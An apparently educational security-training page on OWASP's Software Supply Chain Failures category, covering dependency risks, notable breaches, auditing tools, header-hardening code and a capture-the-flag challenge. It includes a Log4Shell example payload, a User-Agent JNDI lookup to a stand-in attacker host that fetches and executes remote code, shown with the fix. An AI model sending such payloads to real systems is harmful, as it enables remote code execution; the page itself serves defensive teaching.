Software Supply Chain Failures
Theory
Every application runs code somebody else wrote, built on machines you do not own, delivered through registries you do not control. In 2025 OWASP widened the old Vulnerable and Outdated Components category (A09 in 2013, A06 in 2021) into Software Supply Chain Failures — now covering all supply chain failures, not only the ones with a published CVE. It placed #1 in the community survey (50% of respondents) and carries the highest average incidence rate on the list at 5.19%, landing at #3 overall.
The Five Fronts
- Dependencies — direct and transitive. You need a software bill of materials (SBOM) to know what is actually in the build, and continuous monitoring against it.
- Build pipeline — CI/CD is production. Separation of duties, least-privilege runners, pinned actions and signed builds; a compromised pipeline signs the attacker's code with your key.
- Distribution and integrity — pull from trusted sources, verify package signatures and provenance (Sigstore, SLSA attestations) rather than trusting a name and a version.
- Maintenance and patching — risk-based, timely updates, and a plan for components nobody maintains any more.
- Hardening the edges — code repositories, artifact registries, developer workstations and infrastructure-as-code are all part of the chain.
Notable CWEs
- CWE-1395 — Dependency on a vulnerable third-party component
- CWE-1104 — Use of unmaintained third-party components
- CWE-1357 — Reliance on an insufficiently trustworthy component
- CWE-1329 — Reliance on a component that is not updateable
- CWE-447 — Use of an obsolete function
Beyond Known CVEs — Chain Attacks That Had No Patch to Apply
- SolarWinds (2020) — the build system itself was compromised; every customer received a correctly signed, backdoored update
- event-stream / xz-utils — a maintainer handed over or socially engineered into shipping malicious code inside a trusted package
- Dependency confusion — publishing an internal package name to a public registry so the resolver prefers the attacker's copy
- Typosquatting —
reqeustsinstead ofrequests, installed by a single typo in a Dockerfile
What Makes a Component Vulnerable
- Known CVEs — the library has a publicly disclosed vulnerability in the National Vulnerability Database (NVD) and a CVSS score. Attackers scan for version strings in HTTP headers and serve targeted exploits.
- Outdated/unmaintained packages — a dependency has not received security updates in years and is no longer supported
- Version disclosure — returning exact version numbers in HTTP response headers (
Server: Apache 2.4.49) tells attackers exactly which CVEs to target - Transitive dependencies — your code depends on package A which depends on package B (v1.2.3 with a critical CVE). You never installed B directly, but it runs in your process
- Supply chain attacks — a malicious package published under a similar name (typosquatting) or a maintainer account compromised to push backdoored code
Real CVEs That Are Still Actively Exploited
CVE-2021-44228 Log4Shell (Apache Log4j 2.x) CVSS 10.0 RCE via JNDI lookup in log messages CVE-2021-26084 Confluence OGNL injection CVSS 9.8 RCE; exploited by state actors within hours of disclosure CVE-2022-22965 Spring4Shell (Spring Framework) CVSS 9.8 RCE; affects Spring MVC on JDK 9+ CVE-2017-5638 Apache Struts 2 (Equifax breach) CVSS 10.0 OGNL injection → 147M records stolen CVE-2019-0708 BlueKeep (Windows RDP) CVSS 9.8 Wormable RCE without authentication CVE-2021-3129 Laravel Debug Mode RCE CVSS 9.8 Debug mode + vulnerable Ignition = RCE
Version Disclosure — Vulnerable vs Fixed
# VULNERABLE — leaking version information in response headers
@app.get("/")
def index(response: Response):
response.headers["Server"] = "Apache/2.4.49" # CVE-2021-41773 path traversal!
response.headers["X-Powered-By"] = "PHP/7.3.4" # known RCE CVEs
response.headers["X-Build-Info"] = "ratapp/1.0+secret=supersecretkey"
return {"hello": "world"}
# FIXED — suppress all version information
@app.middleware("http")
async def remove_version_headers(request, call_next):
response = await call_next(request)
response.headers.pop("Server", None) # remove or set to generic string
response.headers.pop("X-Powered-By", None)
response.headers.pop("X-AspNet-Version", None)
return response
Dependency Auditing
# Python — audit installed packages against the safety DB / PyPI advisories pip install pip-audit pip-audit # Node.js — built-in vulnerability scanner npm audit npm audit fix # auto-upgrade non-breaking fixes # Multi-language via Snyk snyk test snyk monitor # continuous monitoring; alerts on new CVEs for your locked deps # Docker images — scan the container itself docker scout cves unclerat/myapp:latest trivy image unclerat/myapp:latest # Java — OWASP Dependency-Check mvn org.owasp:dependency-check-maven:check
Supply Chain Attack Example — Log4Shell
# Log4j 2.x (versions < 2.15.0) evaluates JNDI lookups inside log messages
# A single line of attacker-controlled input reaching any logger = RCE
# Attack payload sent in HTTP header (User-Agent, X-Forwarded-For, etc.):
User-Agent: ${jndi:ldap://attacker.com/exploit}
# Log4j logs the User-Agent, evaluates the JNDI expression,
# fetches a malicious Java class from attacker.com, and executes it.
# FIXED: upgrade Log4j to >= 2.17.1, or set:
# -Dlog4j2.formatMsgNoLookups=true (JVM flag)
# LOG4J_FORMAT_MSG_NO_LOOKUPS=true (env var)
Real-World Breaches
- Equifax (2017) — Apache Struts CVE-2017-5638 was patched 2 months before the breach, but Equifax had not applied it. 147 million SSNs exposed.
- SolarWinds (2020) — Attackers compromised the build pipeline and inserted a backdoor into the Orion software update, affecting 18,000 organisations including US government agencies
- event-stream (2018) — A popular npm package was handed to a new maintainer who added a payload targeting the Copay Bitcoin wallet. Downloaded 8 million times before discovery
- Log4Shell (2021) — CVE-2021-44228 in Log4j affected hundreds of millions of systems; exploited within hours of public disclosure
How to Fix — Checklist
- Lock and audit dependencies — use lock files (
requirements.txt,package-lock.json,go.sum) and runpip-audit/npm audit/Snykin CI - Subscribe to security advisories — follow GitHub Security Advisories, NVD feeds, and vendor mailing lists for all components you use
- Remove unused dependencies — every extra package is an extra attack surface. Run
pip-checkordepcheckto find unused packages - Suppress version headers — never advertise your tech stack in HTTP responses
- Use Dependabot or Renovate — automated PRs when a new version of a dependency is released, including security patches
- Verify package integrity — use checksums/sigstore for critical dependencies; prefer packages with 2FA-enforced publishing
Challenge 1
Version Disclosure via Response Headers
The flag is hidden in an HTTP response header, not the page body. Click Submit — then inspect the response headers. The X-Build-Info header contains the flag embedded in build metadata.
Steps
Browser: F12 → Network tab → click the
curl:
version request → Response Headers → find X-Build-Info.curl:
curl -sI https://owasp.thexssrat.com/web/a03/version | grep X-Build-Info